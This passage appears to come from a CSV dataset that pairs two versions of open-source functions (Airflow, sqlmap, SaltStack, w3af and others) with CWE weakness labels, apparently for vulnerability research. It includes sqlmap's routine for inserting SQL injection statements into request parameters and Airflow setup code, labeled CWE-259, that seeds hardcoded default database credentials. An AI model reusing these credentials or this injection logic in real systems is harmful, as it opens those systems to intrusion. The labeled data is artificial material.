            ret = self.run_state('pkg.latest', name=target, refresh=False,
                                 only_upgrade=True)
            self.assertEqual(
                ret['pkg_|-{0}_|-{0}_|-latest'.format(target)]['comment'],
                'Package {0} is already up-to-date'.format(target)
            )",CWE-703,saltstack/salt,685df8092948e5812328982117a39d5e8a8cae40,"def test_pkg_012_latest_only_upgrade(self, grains=None):
        '''
        WARNING: This test will pick a package with an available upgrade (if
        there is one) and upgrade it to the latest version.
        '''
        os_family = grains.get('os_family', '')
        if os_family != 'Debian':
            self.skipTest('Minion is not Debian/Ubuntu')

        # Skip test if package manager not available
        if not pkgmgr_avail(self.run_function, self.run_function('grains.items')):
            self.skipTest('Package manager is not available')

        pkg_targets = _PKG_TARGETS.get(os_family, [])

        # Make sure that we have targets that match the os_family. If this
        # fails then the _PKG_TARGETS dict above needs to have an entry added,
        # with two packages that are not installed before these tests are run
        self.assertTrue(pkg_targets)

        target = pkg_targets[0]
        version = latest_version(self.run_function, target)

        # If this assert fails, we need to find new targets, this test needs to
        # be able to test that the state fails when you try to run the state
        # with only_upgrade=True on a package which is not already installed,
        # so the targeted package needs to not be installed before we run the
        # state below.
        self.assertTrue(version)

        ret = self.run_state('pkg.latest', name=target, refresh=False,
                             only_upgrade=True)
        self.assertSaltFalseReturn(ret)

        # Now look for updates and try to run the state on a package which is
        # already up-to-date.
        updates = self.run_function('pkg.list_upgrades', refresh=False)
        try:
            target = next(iter(updates))
        except StopIteration:
            log.warning(
                'No available upgrades, skipping only_upgrade=True test with '
                'already-installed package. For best results run this test '
                'on a machine with upgrades available.'
            )
        else:
            ret = self.run_state('pkg.latest', name=target, refresh=False,
                                 only_upgrade=True)
            self.assertSaltTrueReturn(ret)
            new_version = self.run_function('pkg.version', [target])
            self.assertEqual(new_version, updates[target])
            ret = self.run_state('pkg.latest', name=target, refresh=False,
                                 only_upgrade=True)
            self.assertEqual(
                ret['pkg_|-{0}_|-{0}_|-latest'.format(target)]['comment'],
                'Package {0} is already up-to-date'.format(target)
            )"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/configuration.py,0,"def _default_config_file_path(file_name: str):
    templates_dir = os.path.join(os.path.dirname(__file__), 'config_templates')
    return os.path.join(templates_dir, file_name)",CWE-Unknown,apache/airflow,acc824f60786069e596fd0e97fa99fcef9f00fa6,"def _default_config_file_path(file_name: str):
    templates_dir = os.path.join(os.path.dirname(__file__), 'config_templates')
    return os.path.join(templates_dir, file_name)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/agent.py,0,"def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
        """"""
        This method replaces the affected parameter with the SQL
        injection statement to request
        """"""

        if conf.direct:
            return self.payloadDirect(newValue)

        retVal = """"

        if where is None and isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

        if kb.injection.place is not None:
            place = kb.injection.place

        if kb.injection.parameter is not None:
            parameter = kb.injection.parameter

        paramString = conf.parameters[place]
        paramDict = conf.paramDict[place]
        origValue = paramDict[parameter]

        if place == PLACE.URI:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                origValue = origValue.split('>')[-1]
            elif kb.postHint == POST_HINT.JSON:
                origValue = extractRegexResult(r""(?s)\""\s*:\s*(?P<result>\d+\Z)"", origValue) or extractRegexResult(r'(?s)(?P<result>[^""]+\Z)', origValue)
            else:
                origValue = extractRegexResult(r""(?s)(?P<result>[^\s<>{}();'\""]+\Z)"", origValue) or """"
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.index(',') + 1:]

        if value is None:
            if where == PAYLOAD.WHERE.ORIGINAL:
                value = origValue
            elif where == PAYLOAD.WHERE.NEGATIVE:
                if conf.invalidLogical:
                    match = re.search(r'\A[^ ]+', newValue)
                    newValue = newValue[len(match.group() if match else """"):]
                    _ = randomInt(2)
                    value = ""%s%s AND %s=%s"" % (origValue, match.group() if match else """", _, _ + 1)
                elif conf.invalidBignum:
                    value = ""%d.%d"" % (randomInt(6), randomInt(1))
                else:
                    if newValue.startswith(""-""):
                        value = """"
                    else:
                        value = ""-%s"" % randomInt()
            elif where == PAYLOAD.WHERE.REPLACE:
                value = """"
            else:
                value = origValue

            newValue = ""%s%s"" % (value, newValue)

        newValue = self.cleanupPayload(newValue, origValue)

        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
            _ = ""%s%s"" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '""%s""' % _ in paramString:
                newValue = '""%s""' % newValue
            newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, """").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
            retVal = re.sub(r""(\A|\b)%s=%s"" % (re.escape(parameter), re.escape(origValue)), ""%s=%s"" % (parameter, self.addPayloadDelimiters(newValue)), paramString)

        return retVal",,sqlmapproject/sqlmap,2fbd7e8929cd1d152d2e0789a6de4fbc8c95411b,"def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
        """"""
        This method replaces the affected parameter with the SQL
        injection statement to request
        """"""

        if conf.direct:
            return self.payloadDirect(newValue)

        retVal = """"

        if where is None and isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

        if kb.injection.place is not None:
            place = kb.injection.place

        if kb.injection.parameter is not None:
            parameter = kb.injection.parameter

        paramString = conf.parameters[place]
        paramDict = conf.paramDict[place]
        origValue = paramDict[parameter]

        if place == PLACE.URI:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                origValue = origValue.split('>')[-1]
            elif kb.postHint == POST_HINT.JSON:
                origValue = extractRegexResult(r""(?s)\""\s*:\s*(?P<result>\d+\Z)"", origValue) or extractRegexResult(r'(?s)(?P<result>[^""]+\Z)', origValue)
            else:
                origValue = extractRegexResult(r""(?s)(?P<result>[^\s<>{}();'\""]+\Z)"", origValue)
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.index(',') + 1:]

        if value is None:
            if where == PAYLOAD.WHERE.ORIGINAL:
                value = origValue
            elif where == PAYLOAD.WHERE.NEGATIVE:
                if conf.invalidLogical:
                    match = re.search(r'\A[^ ]+', newValue)
                    newValue = newValue[len(match.group() if match else """"):]
                    _ = randomInt(2)
                    value = ""%s%s AND %s=%s"" % (origValue, match.group() if match else """", _, _ + 1)
                elif conf.invalidBignum:
                    value = ""%d.%d"" % (randomInt(6), randomInt(1))
                else:
                    if newValue.startswith(""-""):
                        value = """"
                    else:
                        value = ""-%s"" % randomInt()
            elif where == PAYLOAD.WHERE.REPLACE:
                value = """"
            else:
                value = origValue

            newValue = ""%s%s"" % (value, newValue)

        newValue = self.cleanupPayload(newValue, origValue)

        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
            _ = ""%s%s"" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '""%s""' % _ in paramString:
                newValue = '""%s""' % newValue
            newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, """").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
            retVal = re.sub(r""(\A|\b)%s=%s"" % (re.escape(parameter), re.escape(origValue)), ""%s=%s"" % (parameter, self.addPayloadDelimiters(newValue)), paramString)

        return retVal"
,UNKNOWN,UNKNOWN,tests/tracking/test_context.py,1,"def test_default_run_context_tags(patch_script_name):
    assert DefaultRunContext().tags() == {
        MLFLOW_SOURCE_NAME: MOCK_SCRIPT_NAME,
        MLFLOW_SOURCE_TYPE: SourceType.to_string(SourceType.LOCAL)
    }",CWE-703,mlflow/mlflow,b9224ee28f8d1fe669ae9c09738257bcaf0efd19,"def test_default_run_context_tags(patch_script_name):
    assert DefaultRunContext().tags() == {
        MLFLOW_SOURCE_NAME: MOCK_SCRIPT_NAME,
        MLFLOW_SOURCE_TYPE: SourceType.LOCAL
    }"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/data/searchEngines/pks.py,0,"def search( self, hostname ):
        '''
        Searches a PKS server, and returns all emails related to hostname.
        
        @parameter hostname: The hostname from which we want to get emails from.
        '''
        if hostname.count('//'):
            msg = 'You must provide the PKS search engine with a root domain name (as returned by'
            msg += ' url_object.getRootDomain).'
            raise w3afException( msg )
    
        res = self.met_search( hostname )
        om.out.debug('PKS search for hostname: ""'+ hostname + '"" returned ' + str( len( res ) ) + ' results.' )
        return res",,andresriancho/w3af,e298d15e9868c9365be5dedc6390a4c2b02a980e,"def search( self, hostname ):
        '''
        Searches a PKS server, and returns all emails related to hostname.
        
        @parameter hostname: The hostname from which we want to get emails from.
        '''
        if hostname.count('//'):
            msg = 'You must provide the pks search engine with a root domain name (as returned by'
            msg += ' url_object.getRootDomain).'
            raise w3afException( msg )
    
        res = self.met_search( hostname )
        om.out.debug('pks search for hostname : '+ hostname + ' returned ' + str( len( res ) ) + ' results.' )
        return res"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/dump_map.py,0,"def render_text(self, outfd, data):
        if not self._config.OUTPUTFILE:
            debug.error(""Please specify an OUTPUTFILE"")
        elif os.path.exists(self._config.OUTPUTFILE):
            debug.error(""Cowardly refusing to overwrite an existing file"")
                    
        outfile = open(self._config.OUTPUTFILE, ""wb+"")
        map_address = self._config.MAP_ADDRESS

        size = 0
        for proc, map in data:
            if not map_address or map_address == map.links.start:
                for page in self._read_addr_range(proc, map.links.start, map.links.end):
                    size += len(page)
                    outfile.write(page)
        
        outfile.close()
        outfd.write(""Wrote {0} bytes\n"".format(size))",,volatilityfoundation/volatility,fbadaa9de97f4f8a61ce3bc012bcc4d65cbda384,"def render_text(self, outfd, data):
        if not self._config.OUTPUTFILE:
            debug.error(""Please specify an OUTPUTFILE"")
        elif os.path.exists(self._config.OUTPUTFILE):
            debug.error(""Cowardly refusing to overwrite an existing file"")
                    
        outfile = open(self._config.OUTPUTFILE, ""wb+"")
        map_address = self._config.MAP_ADDRESS

        size = 0
        for proc, map in data:
            if not map_address or map_address == start:
                for page in self._read_addr_range(proc, map.links.start, map.links.end):
                    size += len(page)
                    outfile.write(page)
        
        outfile.close()
        outfd.write(""Wrote {0} bytes\n"".format(size))"
,UNKNOWN,UNKNOWN,providers/standard/tests/unit/standard/operators/test_python.py,1,"def test_xcom_push_skipped_tasks(self):
        with self.dag_maker(self.dag_id, template_searchpath=TEMPLATE_SEARCHPATH, serialized=True):
            short_op_push_xcom = ShortCircuitOperator(
                task_id=""push_xcom_from_shortcircuit"", python_callable=lambda: False
            )
            empty_task = EmptyOperator(task_id=""empty_task"")
            short_op_push_xcom >> empty_task
        dr = self.dag_maker.create_dagrun()
        if AIRFLOW_V_3_0_1:
            from airflow.exceptions import DownstreamTasksSkipped

            with pytest.raises(DownstreamTasksSkipped):
                short_op_push_xcom.run(start_date=self.default_date, end_date=self.default_date)
        else:
            self.dag_maker.run_ti(""push_xcom_from_shortcircuit"", dr)
        tis = dr.get_task_instances()
        assert tis[0].xcom_pull(task_ids=short_op_push_xcom.task_id, key=""skipmixin_key"") == {
            ""skipped"": [""empty_task""]
        }",CWE-703,apache/airflow,50b3c3301b107691eed9cf26aef5a9d86e35b695,"def test_xcom_push_skipped_tasks(self):
        with self.dag_maker(self.dag_id, template_searchpath=TEMPLATE_SEARCHPATH, serialized=True):
            short_op_push_xcom = ShortCircuitOperator(
                task_id=""push_xcom_from_shortcircuit"", python_callable=lambda: False
            )
            empty_task = EmptyOperator(task_id=""empty_task"")
            short_op_push_xcom >> empty_task
        dr = self.dag_maker.create_dagrun()
        if AIRFLOW_V_3_0_1:
            from airflow.exceptions import DownstreamTasksSkipped

            with pytest.raises(DownstreamTasksSkipped):
                short_op_push_xcom.run(start_date=self.default_date, end_date=self.default_date)
        else:
            self.dag_maker.run_ti(""push_xcom_from_shortcircuit"", dr)
        tis = dr.get_task_instances()
        assert tis[0].xcom_pull(task_ids=short_op_push_xcom.task_id, key=""skipmixin_key"") == {
            ""skipped"": [""empty_task""]
        }"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/tests/audit/test_os_commanding.py,0,"def test_found_osc(self):
        # Run the scan
        cfg = self._run_configs['cfg']
        self._scan(cfg['target'], cfg['plugins'])

        # Assert the general results
        vulns = self.kb.get('os_commanding', 'os_commanding')
        self.assertEquals(4, len(vulns))
        self.assertTrue(all([""OS commanding vulnerability"" == v.get_name() for v in vulns ]))

        # Verify the specifics about the vulnerabilities
        EXPECTED = [
            ('passthru.php', 'cmd'),
            ('simple_osc.php', 'cmd'),
            ('param_osc.php', 'param'),
            ('blind_osc.php', 'cmd')
        ]

        found_vulns = [ (v.getURL().getFileName() , v.get_mutant().get_var()) for v in vulns]
        
        self.assertEquals( set(EXPECTED),
                           set(found_vulns)
                          )",,andresriancho/w3af,1b623ba8036bb6f86075910eb43febd96b1b2122,"def test_found_osc(self):
        # Run the scan
        cfg = self._run_configs['cfg']
        self._scan(cfg['target'], cfg['plugins'])

        # Assert the general results
        vulns = self.kb.get('os_commanding', 'os_commanding')
        self.assertEquals(4, len(vulns))
        self.assertTrue(all([""OS commanding vulnerability"" == v.get_name() for v in vulns ]))

        # Verify the specifics about the vulnerabilities
        EXPECTED = [
            ('passthru.php', 'cmd'),
            ('simple_osc.php', 'cmd'),
            ('param_osc.php', 'param'),
            ('blind_osc.php', 'cmd')
        ]

        found_vulns = [ (v.getURL().getFileName() , v.getMutant().get_var()) for v in vulns]
        
        self.assertEquals( set(EXPECTED),
                           set(found_vulns)
                          )"
,UNKNOWN,UNKNOWN,tests/evaluate/test_default_evaluator.py,1,"def test_evaluate_text_custom_metrics():
    with mlflow.start_run() as run:
        model_info = mlflow.pyfunc.log_model(
            artifact_path=""model"", python_model=language_model, input_example=[""a"", ""b""]
        )
        data = pd.DataFrame({""text"": [""a"", ""b""], ""target"": [""a"", ""b""]})
        results = mlflow.evaluate(
            model_info.model_uri,
            data,
            targets=""target"",
            model_type=""text"",
            custom_metrics=[make_metric(eval_fn=accuracy, greater_is_better=True)],
        )

    client = mlflow.MlflowClient()
    artifacts = [a.path for a in client.list_artifacts(run.info.run_id)]
    assert ""eval_results_table.json"" in artifacts
    logged_data = pd.DataFrame(**results.artifacts[""eval_results_table""].content)
    assert logged_data.columns.tolist() == [
        ""text"",
        ""target"",
        ""outputs"",
        ""toxicity"",
        ""flesch_kincaid_grade_level"",
        ""ari_grade_level"",
        ""perplexity"",
    ]
    assert logged_data[""text""].tolist() == [""a"", ""b""]
    assert logged_data[""target""].tolist() == [""a"", ""b""]
    assert logged_data[""outputs""].tolist() == [""a"", ""b""]
    assert logged_data[""toxicity""][0] < 0.5
    assert logged_data[""toxicity""][1] < 0.5
    assert all(isinstance(grade, float) for grade in logged_data[""flesch_kincaid_grade_level""])
    assert all(isinstance(grade, float) for grade in logged_data[""ari_grade_level""])
    assert set(results.metrics.keys()) == {
        ""accuracy"",
        ""mean_perplexity"",
        ""toxicity_ratio"",
        ""mean_ari_grade_level"",
        ""mean_flesch_kincaid_grade_level"",
    }
    assert results.metrics[""accuracy""] == 1.0
    assert results.metrics[""toxicity_ratio""] == 0.0",CWE-703,mlflow/mlflow,c74f6cff06c26fabb3f263f83d5494202ce94e88,"def test_evaluate_text_custom_metrics():
    with mlflow.start_run() as run:
        model_info = mlflow.pyfunc.log_model(
            artifact_path=""model"", python_model=language_model, input_example=[""a"", ""b""]
        )
        data = pd.DataFrame({""text"": [""a"", ""b""], ""target"": [""a"", ""b""]})
        results = mlflow.evaluate(
            model_info.model_uri,
            data,
            targets=""target"",
            model_type=""text"",
            custom_metrics=[make_metric(eval_fn=accuracy, greater_is_better=True)],
        )

    client = mlflow.MlflowClient()
    artifacts = [a.path for a in client.list_artifacts(run.info.run_id)]
    assert ""eval_results_table.json"" in artifacts
    logged_data = pd.DataFrame(**results.artifacts[""eval_results_table""].content)
    assert logged_data.columns.tolist() == [
        ""text"",
        ""target"",
        ""outputs"",
        ""toxicity"",
        ""flesch_kincaid_grade_level"",
        ""ari_grade_level"",
        ""perplexity"",
    ]
    assert logged_data[""text""].tolist() == [""a"", ""b""]
    assert logged_data[""target""].tolist() == [""a"", ""b""]
    assert logged_data[""outputs""].tolist() == [""a"", ""b""]
    assert logged_data[""toxicity""][0] < 0.5
    assert logged_data[""toxicity""][1] < 0.5
    assert all(isinstance(grade, float) for grade in logged_data[""flesch_kincaid_grade_level""])
    assert all(isinstance(grade, float) for grade in logged_data[""ari_grade_level""])
    assert set(results.metrics.keys()) == {
        ""accuracy"",
        ""mean_perplexity"",
        ""toxicity_ratio"",
        ""mean_ari_grade_level"",
        ""mean_flesch_kincaid_grade_level"",
    }
    assert results.metrics[""accuracy""] == 1.0
    assert results.metrics[""toxicity_ratio""] == 0.0"
,UNKNOWN,UNKNOWN,airflow/providers/microsoft/azure/hooks/wasb.py,1,"def get_ui_field_behaviour() -> dict[str, Any]:
        """"""Returns custom field behaviour""""""
        return {
            ""hidden_fields"": [""schema"", ""port"", ""extra""],
            ""relabeling"": {
                ""login"": ""Blob Storage Login (optional)"",
                ""password"": ""Blob Storage Key (optional)"",
                ""host"": ""Account Name (Active Directory Auth)"",
            },
            ""placeholders"": {
                ""login"": ""account name"",
                ""password"": ""secret"",
                ""host"": ""account url"",
                ""connection_string"": ""connection string auth"",
                ""tenant_id"": ""tenant"",
                ""shared_access_key"": ""shared access key"",
                ""sas_token"": ""account url or token"",
            },
        }",CWE-259,apache/airflow,3decb189f786781bb0dfb3420a508a4a2a22bd8b,"def get_ui_field_behaviour() -> dict[str, Any]:
        """"""Returns custom field behaviour""""""
        return {
            ""hidden_fields"": [""schema"", ""port""],
            ""relabeling"": {
                ""login"": ""Blob Storage Login (optional)"",
                ""password"": ""Blob Storage Key (optional)"",
                ""host"": ""Account Name (Active Directory Auth)"",
            },
            ""placeholders"": {
                ""extra"": ""additional options for use with FileService and AzureFileVolume"",
                ""login"": ""account name"",
                ""password"": ""secret"",
                ""host"": ""account url"",
                ""connection_string"": ""connection string auth"",
                ""tenant_id"": ""tenant"",
                ""shared_access_key"": ""shared access key"",
                ""sas_token"": ""account url or token"",
            },
        }"
,UNKNOWN,UNKNOWN,airflow/utils/db.py,1,"def initdb():
    session = settings.Session()

    from airflow import models
    upgradedb()

    merge_conn(
        models.Connection(
            conn_id='airflow_db', conn_type='mysql',
            host='localhost', login='root', password='',
            schema='airflow'))
    merge_conn(
        models.Connection(
            conn_id='airflow_ci', conn_type='mysql',
            host='localhost', login='root', extra=""{\""local_infile\"": true}"",
            schema='airflow_ci'))
    merge_conn(
        models.Connection(
            conn_id='beeline_default', conn_type='beeline', port=""10000"",
            host='localhost', extra=""{\""use_beeline\"": true, \""auth\"": \""\""}"",
            schema='default'))
    merge_conn(
        models.Connection(
            conn_id='bigquery_default', conn_type='google_cloud_platform',
            schema='default'))
    merge_conn(
        models.Connection(
            conn_id='local_mysql', conn_type='mysql',
            host='localhost', login='airflow', password='airflow',
            schema='airflow'))
    merge_conn(
        models.Connection(
            conn_id='presto_default', conn_type='presto',
            host='localhost',
            schema='hive', port=3400))
    merge_conn(
        models.Connection(
            conn_id='google_cloud_default', conn_type='google_cloud_platform',
            schema='default',))
    merge_conn(
        models.Connection(
            conn_id='hive_cli_default', conn_type='hive_cli',
            schema='default',))
    merge_conn(
        models.Connection(
            conn_id='hiveserver2_default', conn_type='hiveserver2',
            host='localhost',
            schema='default', port=10000))
    merge_conn(
        models.Connection(
            conn_id='metastore_default', conn_type='hive_metastore',
            host='localhost', extra=""{\""authMechanism\"": \""PLAIN\""}"",
            port=9083))
    merge_conn(
        models.Connection(
            conn_id='mysql_default', conn_type='mysql',
            login='root',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='postgres_default', conn_type='postgres',
            login='postgres',
            schema='airflow',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='sqlite_default', conn_type='sqlite',
            host='/tmp/sqlite_default.db'))
    merge_conn(
        models.Connection(
            conn_id='http_default', conn_type='http',
            host='https://www.google.com/'))
    merge_conn(
        models.Connection(
            conn_id='mssql_default', conn_type='mssql',
            host='localhost', port=1433))
    merge_conn(
        models.Connection(
            conn_id='vertica_default', conn_type='vertica',
            host='localhost', port=5433))
    merge_conn(
        models.Connection(
            conn_id='wasb_default', conn_type='wasb',
            extra='{""sas_token"": null}'))
    merge_conn(
        models.Connection(
            conn_id='webhdfs_default', conn_type='hdfs',
            host='localhost', port=50070))
    merge_conn(
        models.Connection(
            conn_id='ssh_default', conn_type='ssh',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='fs_default', conn_type='fs',
            extra='{""path"": ""/""}'))
    merge_conn(
        models.Connection(
            conn_id='aws_default', conn_type='aws',
            extra='{""region_name"": ""us-east-1""}'))
    merge_conn(
        models.Connection(
            conn_id='spark_default', conn_type='spark',
            host='yarn', extra='{""queue"": ""root.default""}'))
    merge_conn(
        models.Connection(
            conn_id='druid_ingest_default', conn_type='druid',
            host='druid-overlord', port=8081, extra='{""endpoint"": ""druid/indexer/v1/task""}'))
    merge_conn(
        models.Connection(
            conn_id='redis_default', conn_type='redis',
            host='localhost', port=6379,
            extra='{""db"": 0}'))
    merge_conn(
        models.Connection(
            conn_id='sqoop_default', conn_type='sqoop',
            host='rmdbs', extra=''))
    merge_conn(
        models.Connection(
            conn_id='emr_default', conn_type='emr',
            extra='''
                {   ""Name"": ""default_job_flow_name"",
                    ""LogUri"": ""s3://my-emr-log-bucket/default_job_flow_location"",
                    ""ReleaseLabel"": ""emr-4.6.0"",
                    ""Instances"": {
                        ""InstanceGroups"": [
                            {
                                ""Name"": ""Master nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""MASTER"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            },
                            {
                                ""Name"": ""Slave nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""CORE"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            }
                        ]
                    },
                    ""Ec2KeyName"": ""mykey"",
                    ""KeepJobFlowAliveWhenNoSteps"": false,
                    ""TerminationProtected"": false,
                    ""Ec2SubnetId"": ""somesubnet"",
                    ""Applications"":[
                        { ""Name"": ""Spark"" }
                    ],
                    ""VisibleToAllUsers"": true,
                    ""JobFlowRole"": ""EMR_EC2_DefaultRole"",
                    ""ServiceRole"": ""EMR_DefaultRole"",
                    ""Tags"": [
                        {
                            ""Key"": ""app"",
                            ""Value"": ""analytics""
                        },
                        {
                            ""Key"": ""environment"",
                            ""Value"": ""development""
                        }
                    ]
                }
            '''))
    merge_conn(
        models.Connection(
            conn_id='databricks_default', conn_type='databricks',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='qubole_default', conn_type='qubole',
            host= 'localhost'))

    # Known event types
    KET = models.KnownEventType
    if not session.query(KET).filter(KET.know_event_type == 'Holiday').first():
        session.add(KET(know_event_type='Holiday'))
    if not session.query(KET).filter(KET.know_event_type == 'Outage').first():
        session.add(KET(know_event_type='Outage'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Natural Disaster').first():
        session.add(KET(know_event_type='Natural Disaster'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Marketing Campaign').first():
        session.add(KET(know_event_type='Marketing Campaign'))
    session.commit()

    dagbag = models.DagBag()
    # Save individual DAGs in the ORM
    for dag in dagbag.dags.values():
        dag.sync_to_db()
    # Deactivate the unknown ones
    models.DAG.deactivate_unknown_dags(dagbag.dags.keys())

    Chart = models.Chart
    chart_label = ""Airflow task instance by type""
    chart = session.query(Chart).filter(Chart.label == chart_label).first()
    if not chart:
        chart = Chart(
            label=chart_label,
            conn_id='airflow_db',
            chart_type='bar',
            x_is_date=False,
            sql=(
                ""SELECT state, COUNT(1) as number ""
                ""FROM task_instance ""
                ""WHERE dag_id LIKE 'example%' ""
                ""GROUP BY state""),
        )
        session.add(chart)
        session.commit()",CWE-259,apache/airflow,f2d10ef7b465080584fe96590775b6a2696a38ef,"def initdb():
    session = settings.Session()

    from airflow import models
    upgradedb()

    merge_conn(
        models.Connection(
            conn_id='airflow_db', conn_type='mysql',
            host='localhost', login='root', password='',
            schema='airflow'))
    merge_conn(
        models.Connection(
            conn_id='airflow_ci', conn_type='mysql',
            host='localhost', login='root', extra=""{\""local_infile\"": true}"",
            schema='airflow_ci'))
    merge_conn(
        models.Connection(
            conn_id='beeline_default', conn_type='beeline', port=""10000"",
            host='localhost', extra=""{\""use_beeline\"": true, \""auth\"": \""\""}"",
            schema='default'))
    merge_conn(
        models.Connection(
            conn_id='bigquery_default', conn_type='bigquery'))
    merge_conn(
        models.Connection(
            conn_id='local_mysql', conn_type='mysql',
            host='localhost', login='airflow', password='airflow',
            schema='airflow'))
    merge_conn(
        models.Connection(
            conn_id='presto_default', conn_type='presto',
            host='localhost',
            schema='hive', port=3400))
    merge_conn(
        models.Connection(
            conn_id='google_cloud_default', conn_type='google_cloud_platform',
            schema='default',))
    merge_conn(
        models.Connection(
            conn_id='hive_cli_default', conn_type='hive_cli',
            schema='default',))
    merge_conn(
        models.Connection(
            conn_id='hiveserver2_default', conn_type='hiveserver2',
            host='localhost',
            schema='default', port=10000))
    merge_conn(
        models.Connection(
            conn_id='metastore_default', conn_type='hive_metastore',
            host='localhost', extra=""{\""authMechanism\"": \""PLAIN\""}"",
            port=9083))
    merge_conn(
        models.Connection(
            conn_id='mysql_default', conn_type='mysql',
            login='root',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='postgres_default', conn_type='postgres',
            login='postgres',
            schema='airflow',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='sqlite_default', conn_type='sqlite',
            host='/tmp/sqlite_default.db'))
    merge_conn(
        models.Connection(
            conn_id='http_default', conn_type='http',
            host='https://www.google.com/'))
    merge_conn(
        models.Connection(
            conn_id='mssql_default', conn_type='mssql',
            host='localhost', port=1433))
    merge_conn(
        models.Connection(
            conn_id='vertica_default', conn_type='vertica',
            host='localhost', port=5433))
    merge_conn(
        models.Connection(
            conn_id='wasb_default', conn_type='wasb',
            extra='{""sas_token"": null}'))
    merge_conn(
        models.Connection(
            conn_id='webhdfs_default', conn_type='hdfs',
            host='localhost', port=50070))
    merge_conn(
        models.Connection(
            conn_id='ssh_default', conn_type='ssh',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='fs_default', conn_type='fs',
            extra='{""path"": ""/""}'))
    merge_conn(
        models.Connection(
            conn_id='aws_default', conn_type='aws',
            extra='{""region_name"": ""us-east-1""}'))
    merge_conn(
        models.Connection(
            conn_id='spark_default', conn_type='spark',
            host='yarn', extra='{""queue"": ""root.default""}'))
    merge_conn(
        models.Connection(
            conn_id='druid_ingest_default', conn_type='druid',
            host='druid-overlord', port=8081, extra='{""endpoint"": ""druid/indexer/v1/task""}'))
    merge_conn(
        models.Connection(
            conn_id='redis_default', conn_type='redis',
            host='localhost', port=6379,
            extra='{""db"": 0}'))
    merge_conn(
        models.Connection(
            conn_id='sqoop_default', conn_type='sqoop',
            host='rmdbs', extra=''))
    merge_conn(
        models.Connection(
            conn_id='emr_default', conn_type='emr',
            extra='''
                {   ""Name"": ""default_job_flow_name"",
                    ""LogUri"": ""s3://my-emr-log-bucket/default_job_flow_location"",
                    ""ReleaseLabel"": ""emr-4.6.0"",
                    ""Instances"": {
                        ""InstanceGroups"": [
                            {
                                ""Name"": ""Master nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""MASTER"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            },
                            {
                                ""Name"": ""Slave nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""CORE"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            }
                        ]
                    },
                    ""Ec2KeyName"": ""mykey"",
                    ""KeepJobFlowAliveWhenNoSteps"": false,
                    ""TerminationProtected"": false,
                    ""Ec2SubnetId"": ""somesubnet"",
                    ""Applications"":[
